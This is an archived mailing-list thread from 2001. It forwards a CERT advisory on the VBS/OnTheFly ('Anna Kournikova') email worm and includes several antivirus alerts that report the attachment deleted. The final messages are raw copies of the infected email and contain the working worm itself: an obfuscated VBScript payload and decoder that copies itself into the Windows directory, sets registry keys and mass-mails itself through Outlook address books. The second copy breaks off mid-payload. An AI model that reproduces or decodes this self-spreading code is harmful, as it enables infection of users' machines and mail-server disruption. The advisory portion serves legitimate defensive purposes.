MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: (Fwd) CERT Advisory CA-2001-03
Reply-to: [e-mail]
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12b)

This is the CERT advisory on the VBS blob that was sent
to the PKIX list (and others).

Cheers,

	Stefan.


------- Forwarded message follows -------
Date sent:      	Mon, 12 Feb 2001 21:02:58 -0500 (EST)
From:           	CERT Advisory <[e-mail]>
To:             	[e-mail]
Organization:   	CERT(R) Coordination Center - [phone]
Subject:        	CERT Advisory CA-2001-03
Send reply to:  	CERT Advisory <[e-mail]>


-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2001-03 VBS/OnTheFly (Anna Kournikova) Malicious Code

   Original release date: February 12, 2001
   Last revised: February 12, 2001
   Source: CERT/CC

   A complete revision history can be found at the end of this file.

Systems Affected

   Users of Microsoft Outlook who have not applied previously available
   security updates.

Overview

   The "VBS/OnTheFly" malicious code is a VBScript program that spreads
   via email. As of 7:00 pm EST(GMT-5) Feb 12, 2001, the CERT
   Coordination Center had received reports from more than 100 individual
   sites. Several of these sites have reported suffering network
   degradation as a result of mail traffic generated by the
   "VBS/OnTheFly" malicious code.

   This malicious code can infect a system if the enclosed email
   attachment is run. Once the malicious code has executed on a system,
   it will take the actions described in the Impact section.

I. Description

   When the malicious code executes, it attempts to send copies of
   itself, using Microsoft Outlook, to all entries in each of the address
   books. The sent mail has the following characteristics:

     SUBJECT: "Here you have, ;o)"
     
     BODY:

          Hi:
          Check This!

     ATTACHMENT: "AnnaKournikova.jpg.vbs"

   Users who receive copies of the malicious code via electronic mail
   will probably recognize the sender. We encourage users to avoid
   executing code, including VBScripts, received through electronic mail,
   regardless of the sender's name, without prior knowledge of the origin
   of the code or a valid digital signature.

   It is possible for the recipients to be be tricked into opening this
   malicious attachment since file will appear without the .VBS extension
   if "Hide file extensions for known file types" is turned on in
   Windows.

II. Impact

   When the attached VBS file is executed, the malicious code attempts to
   modify the registry by creating the following key:

          HKEY_CURRENT_USER\Software\OnTheFly="Worm made with Vbswg1.50b"

   Next, the it will then place a copy of itself into the Windows
   directory.

          C:\WINDOWS\AnnaKournikova.jpg.vbs

   Finally, the malicious code will attempt to send separate, infected
   email messages to all recipients in the Windows Address Book. Once the
   mail has been sent, the malicious code creates the following registry
   key to prevent future mailings of the malicious code.

          HKEY_USERS\.DEFAULT\Software\OnTheFly\mailed=1

   The code's propagation can lead to congestion in mail servers that may
   prevent them from functioning as expected.

   Beyond this effect, there does not appear to be a destructive payload
   associated with this malicious code. However, historical data has
   shown that the intruder community can quickly modify the code for more
   destructive behavior.

III. Solution

Update Your Anti-Virus Product

   It is important for users to update their anti-virus software. Some
   anti-virus software vendors have released updated information, tools,
   or virus databases to help combat this malicious code. A list of
   vendor-specific anti-virus information can be found in Appendix A.

Apply the Microsoft Outlook E-mail Security Update

   To protect against this malicious code, and others like it, users of
   Outlook 98 and 2000 may want to install the Outlook E-mail Security
   update included in an Outlook SR-1. More information about this update
   is available at

     http://office.microsoft.com/2000/downloaddetails/Out2ksec.htm

   You may also find the following document on Outlook security useful

     http://www.microsoft.com/office/outlook/downloads/security.htm

   The Outlook E-mail security update provides features that can prevent
   attachments containing executable content from being displayed to
   users. Other types of attachments can be configured so that they must
   be saved to disk before they can be opened (or executed). These
   features may greatly reduce the chances that a user will incorrectly
   execute a malicious attachment.

Filter the Virus in Email

   Sites can use email filtering techniques to delete messages containing
   subject lines known to contain the malicious code, or can filter
   attachments outright.

Exercise Caution When Opening Attachments

   Exercise caution when receiving email with attachments. Users should
   disable auto-opening or previewing of email attachments in their mail
   programs. Users should never open attachments from an untrusted
   origin, or that appear suspicious in any way. Finally, cryptographic
   checksums should also be used to validate the integrity of the file.

IV. General protection from email Trojan horses and viruses

   Some previous examples of malicious files known to have propagated
   through electronic mail include:

     Melissa macro virus - discussed in CA-99-04
     http://www.cert.org/advisories/CA-1999-04.html

     False upgrade to Internet Explorer - discussed in CA-99-02
     http://www.cert.org/advisories/CA-1999-02.html

     Happy99.exe Trojan Horse - discussed in IN-99-02
     http://www.cert.org/incident_notes/IN-99-02.html

     CIH/Chernobyl virus - discussed in IN-99-03
     http://www.cert.org/incident_notes/IN-99-03.htm

   In each of the above cases, the effects of the malicious file are
   activated only when the file in question is executed. Social
   engineering is typically employed to trick a recipient into executing
   the malicious file. Some of the social engineering techniques we have
   seen used include

     * Making false claims that a file attachment contains a software
       patch or update
     * Implying or using entertaining content to entice a user into
       executing a malicious file
     * Using email delivery techniques that cause the message to appear
       to have come from a familiar or trusted source
     * Packaging malicious files in deceptively familiar ways (e.g., use
       of familiar but deceptive program icons or file names)

   The best advice with regard to malicious files is to avoid executing
   them in the first place. CERT advisory CA-1999-02.html and the
   following CERT tech tip discuss malicious code and offers suggestions
   to avoid them.

     http://www.cert.org/advisories/CA-99-02.html

     http://www.cert.org/tech_tips/malicious_code_FAQ.html

Appendix A. - Vendor Information

   Appendix A. Anti-Virus Vendor Information

Aladdin Knowledge Systems

     http://www.aks.com/home/csrt/valerts.asp#AnnaK

Command Software Systems, Inc.

     http://www.commandcom.com/virus/vbsvwg.html

Computer Associates

     http://ca.com/virusinfo/virusalert.htm#vbs_sstworm

F-Secure

     http://www.f-secure.com/v-descs/onthefly.shtml

Finjan Software, Ltd.

     http://www.finjan.com/attack_release_detail.cfm?attack_release_id=47

McAfee

     http://www.mcafee.com/anti-virus/viruses/vbssst/default.asp

Dr. Solomon, NAI

     http://vil.nai.com/vil/virusSummary.asp?virus_k=99011

Sophos

     http://www.sophos.com/virusinfo/analyses/vbsssta.htm

Symantec

     http://www.symantec.com/avcenter/venc/data/[e-mail]

Trend Micro

     http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=VBS_KALAMAR.A

   You may wish to visit the CERT/CC's Computer Virus Resources Page
   located at: 
   
     http://www.cert.org/other_sources/viruses.html
   ______________________________________________________________________

   This document was written by Cory Cohen, Roman Danyliw, Ian Finlay,
   John Shaffer, Shawn Hernan, Kevin Houle, Brian B. King, and Shawn Van
   Ittersum.
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2001-03.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: [e-mail]
          Phone: [phone] (24-hour hotline)
          Fax: [phone]
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
   Monday through Friday; they are on call for emergencies during other
   hours, on U.S. holidays, and on weekends.

Using encryption

   We strongly urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If you prefer to use DES, please call the CERT hotline for more
   information.

Getting security information

   CERT publications and other security information are available from
   our web site

   http://www.cert.org/

   To subscribe to the CERT mailing list for advisories and bulletins,
   send email to [e-mail]. Please include in the body of your
   message

   subscribe cert-advisory

   * "CERT" and "CERT Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any material furnished by Carnegie Mellon University and the Software
   Engineering Institute is furnished on an "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied as to any matter including, but not limited to, warranty of
   fitness for a particular purpose or merchantability, exclusivity or
   results obtained from use of the material. Carnegie Mellon University
   does not make any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
   _____________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2001 Carnegie Mellon University.

   Revision History
     February 12, 2001: Initial release







-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBOoiQEgYcfu8gsZJZAQE5ywQAiY1gtNtBfjO79N0O4NocSq9lzNJKsXlE
fSxC3vcBKZcnew5BGFJD/kGOnKvJvl1aYltDiLoRvfDGxoG3QisD+kzp3L76zBI2
JwK8xk8/EAqM7YvVqAKHGxwujkTAU5Y9K5ioeuZsIvqkXTUlTYxNV2aI9iM6teG2
d8+/N4weQ1M=
=cD9T
-----END PGP SIGNATURE-----

-+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+
This message was posted through the FIRST mailing list server.  If you
wish to unsubscribe from this mailing list, send the message body of
"unsubscribe first-info" to [e-mail]
-+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+

------- End of forwarded message -------

-------------------------------------------------------
Dipl.-Inform. Stefan Kelm
Security Consultant

Secorvo Security Consulting GmbH
Albert-Nestler-Strasse 9, D-76131 Karlsruhe

Tel. [phone], Fax [phone]
E-Mail [e-mail], http://www.secorvo.de
-------------------------------------------------------
PGP Fingerprint 87AE E858 CCBC C3A2 E633 D139 B0D9 212B


Received: from smaug.wrq.com (smaug.wrq.com [150.215.17.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA04169 for <[e-mail]>; Tue, 13 Feb 2001 00:57:28 -0800 (PST)
Received: from abra.wrq.com (abra.wrq.com [150.215.8.10]) by smaug.wrq.com (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id AAA16345 for <[e-mail]>; Tue, 13 Feb 2001 00:57:27 -0800 (PST)
Received: by abra.wrq.com with Internet Mail Service (5.5.2650.21) id <1NZPK1AD>; Tue, 13 Feb 2001 00:57:27 -0800
Message-ID: <[e-mail]>
From: ANTIGEN_ABRA <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 00:57:23 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.


Received: from smaug.wrq.com (smaug.wrq.com [150.215.17.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA04057 for <[e-mail]>; Tue, 13 Feb 2001 00:57:08 -0800 (PST)
Received: from abra.wrq.com (abra.wrq.com [150.215.8.10]) by smaug.wrq.com (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id AAA16321 for <[e-mail]>; Tue, 13 Feb 2001 00:57:07 -0800 (PST)
Received: by abra.wrq.com with Internet Mail Service (5.5.2650.21) id <1NZPKD08>; Tue, 13 Feb 2001 00:57:06 -0800
Message-ID: <[e-mail]>
From: ANTIGEN_ABRA <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 00:57:05 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.


Received: from blue01.identrus.com ([216.213.93.123]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA02531 for <[e-mail]>; Tue, 13 Feb 2001 00:53:56 -0800 (PST)
Received: by BLUE01 with Internet Mail Service (5.5.2653.19) id <1R8Z1BDP>; Tue, 13 Feb 2001 03:52:03 -0500
Message-ID: <2B55DABB95C4D4119C1300508BD953F10BCDCA@BLUE01>
From: "seagate.backup" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 03:52:02 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0959A.3BA4C450"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0959A.3BA4C450
Content-Type: text/plain

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at IDENTRUS/NewYork/BLUE.

------_=_NextPart_001_01C0959A.3BA4C450
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Antigen found =*.vbs file</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file filter.</FONT>
<BR><FONT SIZE=2>The file is currently Deleted.&nbsp; The message, &quot;Here you have, ;o)&quot;, was</FONT>
<BR><FONT SIZE=2>sent from Eolo Lucentini&nbsp; and was discovered in IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>located at IDENTRUS/NewYork/BLUE.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0959A.3BA4C450--


Received: from mail.telenisus.com ([204.248.55.99]) by above.proper.com (8.9.3/8.9.3) with SMTP id AAA02391 for <[e-mail]>; Tue, 13 Feb 2001 00:53:24 -0800 (PST)
X-WSS-ID: 1696282517413-01
Date: Tue, 13 Feb 2001 03:00:32 -0600
From: "Postmaster" <[e-mail]>
To: [e-mail]
Message-ID: <1696282517413-01@WorldSecure_Server__Tri-Sage.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed;  boundary="_-==1696283A69==-_"
Subject: WS/Mail Server Notification

--_-==1696283A69==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs


--_-==1696283A69==-_--



Received: from kodiak.chrysalis-its.com ([206.47.125.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA02361 for <[e-mail]>; Tue, 13 Feb 2001 00:53:22 -0800 (PST)
From: [e-mail]
Message-Id: <[e-mail]>
Received: from panther (panther.chrysalis-its.com [172.16.0.9]) by kodiak.chrysalis-its.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1VZ4JHBV; Tue, 13 Feb 2001 03:53:19 -0500
Date: Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
To: <[e-mail]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<[e-mail]>
To:    	<[e-mail]>
File:  	AnnaKournikova.jpg.vbs
Action:	clean failed - deleted
Virus: 	VBS_KALAMAR.A 


Received: from kodiak.chrysalis-its.com ([206.47.125.131]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA02350 for <[e-mail]>; Tue, 13 Feb 2001 00:53:21 -0800 (PST)
From: [e-mail]
Message-Id: <[e-mail]>
Received: from panther (panther.chrysalis-its.com [172.16.0.9]) by kodiak.chrysalis-its.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1VZ4JHBQ; Tue, 13 Feb 2001 03:53:18 -0500
Date: Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
To: <[e-mail]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<[e-mail]>
To:    	<[e-mail]>
File:  	AnnaKournikova.jpg.vbs
Action:	clean failed - deleted
Virus: 	VBS_KALAMAR.A 


Received: from mail.telenisus.com ([204.248.55.99]) by above.proper.com (8.9.3/8.9.3) with SMTP id AAA01810 for <[e-mail]>; Tue, 13 Feb 2001 00:51:17 -0800 (PST)
X-WSS-ID: 169628A517190-01
Date: Tue, 13 Feb 2001 02:58:24 -0600
From: "Postmaster" <[e-mail]>
To: [e-mail]
Message-ID: <169628A517190-01@WorldSecure_Server__Tri-Sage.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed;  boundary="_-==169628BA64==-_"
Subject: WS/Mail Server Notification

--_-==169628BA64==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs


--_-==169628BA64==-_--



Received: from mail.telenisus.com ([204.248.55.99]) by above.proper.com (8.9.3/8.9.3) with SMTP id AAA01811 for <[e-mail]>; Tue, 13 Feb 2001 00:51:17 -0800 (PST)
X-WSS-ID: 169628A517191-01
Date: Tue, 13 Feb 2001 02:58:24 -0600
From: "Postmaster" <[e-mail]>
To: [e-mail]
Message-ID: <169628A517191-01@WorldSecure_Server__Tri-Sage.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed;  boundary="_-==169628BA65==-_"
Subject: WS/Mail Server Notification

--_-==169628BA65==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs


--_-==169628BA65==-_--



Received: from master.csg.it ([151.39.242.90]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA00362 for <[e-mail]>; Tue, 13 Feb 2001 00:44:31 -0800 (PST)
Received: from contextsrv1.csg.it (contextsrv1 [10.0.1.101]) by master.csg.it with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1Z4K97DP; Tue, 13 Feb 2001 09:43:43 +0100
Received: by CONTEXTSRV1 with Internet Mail Service (5.5.2650.21) id <1Z4HYN07>; Tue, 13 Feb 2001 09:43:43 +0100
Message-ID: <53CEA7E9A851D411B81400E018C2AE7702BEA9@CONTEXTSRV1>
From: Eolo Lucentini <[e-mail]>
To: [e-mail]
Subject: Here you have, ;o)
Date: Tue, 13 Feb 2001 09:43:40 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C09599.10DC14CC"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C09599.10DC14CC
Content-Type: text/plain

Hi:
Check This!



------_=_NextPart_000_01C09599.10DC14CC
Content-Type: application/octet-stream;
	name="AnnaKournikova.jpg.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="AnnaKournikova.jpg.vbs"

'Vbs.OnTheFly Created By OnTheFly
Execute =
e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tg=
TwugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F=
=109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*=
t33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(j=
E*t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11=
tj3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(=
jE*t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11=
tj6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11=
vQtcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVi=
p7de0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11=
(^$pCcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvt=
c^gpQjVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=
=10hko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rw=
t=11pJ$vv<r11yy0y{fcp{dgvp0$n5.h.ncgu=0F=10pg=11fhk=0F=10gU=11vMLUiJy9M5=
9?zt=11yQoclVip7dq0grvpzghvnk*guyterk0veuktvrwhnncpgo=11.+3=0F=10P\L7\Mz=
6wk?XL=11iMyUMJ99z5t0cgcfnn=0F=10MLUiJy9M590znEuq=10gF=0F=10qK=0F=11hqP=11=
vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V=11gj=10pU=0FvgW=11Kg4=
4:|6R2x=11?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV=11wt+g=0F=
=10gW4K|4R:x602tyvk\g7PML6\kzXw=0F=10gW4K|4R:x602nEuq=10gG=0FfpK=11=10hN=
=0Fqq=10rH=0Fpwveqk=11p4gUp9CnJNi*E=10+Q=0F=11ptGqt=11tgTwugoP=11zg=10vU=
=0FvgF=1154xQOzM8JT?=11E=11gtvcQgldeg*vQ$vwqnmqC0rrkncekvpq+$=0F=10hKF=11=
54xQOzM8JT=11?Q$vwqnmqV$gj=10pU=0Fvgl=1174PvD\h;n:F?54xQOzM8JTI0vgcPgorU=
ec*gO$RC$K=10+U=0FvgU=11m834i35gN5=11?4lv7\P;D:h0nfCtfugNuukuv=0F=10qH=11=
tcGjeL=114TRoOuD4ToK=11=11p8U4m33gi55=10NK=0F=11hTLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp>=11=11@=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp=0F=10qH=11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd=
4:6x5\5?=11F=1154xQOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo=
4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[L=
Q0:fCtfug=10uk=0F9sd4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10=
$k=0F9sd4:6x5\5D0fq=11{=11?J$<k=11$=11(dxtehn(=11$=11jEeg=11mjVuk$#(=11x=
=11ednt=11h=11($$=0F=10gu=11vYhpu:sI[h;?3sk496d5:5x0\vCcvjegovp=10uh=0Fu=
Ysp[:;I3hC0fft=11yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$pCcpqMtwkpqmcxl0irx=
0ud=10$k=0F9sd4:6x5\5F0ngvgCgvhtgwUodvk?=11V=11wt=10gK=0F=11hsk496d5:5x0=
\qV>=11=11@$$V=11gj=10pk=0F9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ=
$EM^WquvhcygtQ^VpgjnH^{conkfg.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11=
fhK=0F=10gPvz=0F=10pg=11fhk=0F=10pG=11fwHepkvpq=0F=10X)udiy3=1170d2")
Function e7iqom5JE4z(hFeiuKrcoj3)
For I =3D 1 To Len(hFeiuKrcoj3) Step 2
StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1)
WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) =3D 15 Then
StTP1MoJ3ZU=3D Chr(10)
ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then
StTP1MoJ3ZU =3D Chr(13)
ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then
StTP1MoJ3ZU =3D Chr(32)
Else
StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2)
End If
If WHz23rBqlo7<> "" Then
If Asc(WHz23rBqlo7) =3D 15 Then
WHz23rBqlo7=3D Chr(10)
ElseIf Asc(WHz23rBqlo7) =3D 16 Then
WHz23rBqlo7=3D Chr(13)
ElseIf Asc(WHz23rBqlo7) =3D 17 Then
WHz23rBqlo7=3D Chr(32)
Else
WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2)
End If
End If
e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
Next
End Function
'Vbswg 1.50b
------_=_NextPart_000_01C09599.10DC14CC--


Received: from master.csg.it ([151.39.242.90]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA00371 for <[e-mail]>; Tue, 13 Feb 2001 00:44:37 -0800 (PST)
Received: from contextsrv1.csg.it (contextsrv1 [10.0.1.101]) by master.csg.it with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1Z4K97DN; Tue, 13 Feb 2001 09:43:41 +0100
Received: by CONTEXTSRV1 with Internet Mail Service (5.5.2650.21) id <1Z4HYN06>; Tue, 13 Feb 2001 09:43:41 +0100
Message-ID: <53CEA7E9A851D411B81400E018C2AE7702BEA8@CONTEXTSRV1>
From: Eolo Lucentini <[e-mail]>
To: [e-mail]
Subject: Here you have, ;o)
Date: Tue, 13 Feb 2001 09:43:39 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C09599.10306B7C"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C09599.10306B7C
Content-Type: text/plain

Hi:
Check This!



------_=_NextPart_000_01C09599.10306B7C
Content-Type: application/octet-stream;
	name="AnnaKournikova.jpg.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="AnnaKournikova.jpg.vbs"

'Vbs.OnTheFly Created By OnTheFly
Execute =
e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tg=
TwugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F=
=109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*=
t33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(j=
E*t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11=
tj3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(=
jE*t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11=
tj6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11=
vQtcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVi=
p7de0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11=
(^$pCcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvt=
c^gpQjVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=
=10hko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rw=
t=11pJ$vv<r11yy0y{fcp{dgvp0$n5.h.ncgu=0F=10pg=11fhk=0F=10gU=11vMLUiJy9M5=
9?zt=11yQoclVip7dq0grvpzghvnk*guyterk0veuktvrwhnncpgo=11.+3=0F=10P\L7\Mz=
6wk?XL=11iMyUMJ99z5t0cgcfnn=0F=10MLUiJy9M590znEuq=10gF=0F=10qK=0F=11hqP=11=
vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V=11gj=10pU=0FvgW=11Kg4=
4:|6R2x=11?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV=11wt+g=0F=
=10gW4K|4R:x602tyvk\g7PML6\kzXw=0F=10gW4K|4R:x602nEuq=10gG=0FfpK=11=10hN=
=0Fqq=10rH=0Fpwveqk=11p4gUp9CnJNi*E=10+Q=0F=11ptGqt=11tgTwugoP=11zg=10vU=
=0FvgF=1154xQOzM8JT?=11E=11gtvcQgldeg*vQ$vwqnmqC0rrkncekvpq+$=0F=10hKF=11=
54xQOzM8JT=11?Q$vwqnmqV$gj=10pU=0Fvgl=1174PvD\h;n:F?54xQOzM8JTI0vgcPgorU=
ec*gO$RC$K=10+U=0FvgU=11m834i35gN5=11?4lv7\P;D:h0nfCtfugNuukuv=0F=10qH=11=
tcGjeL=114TRoOuD4ToK=11=11p8U4m33gi55=10NK=0F=11hTLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp>=11=11@=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp=0F=10qH=11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd=
4:6x5\5?=11F=1154xQOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo=
4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[L=
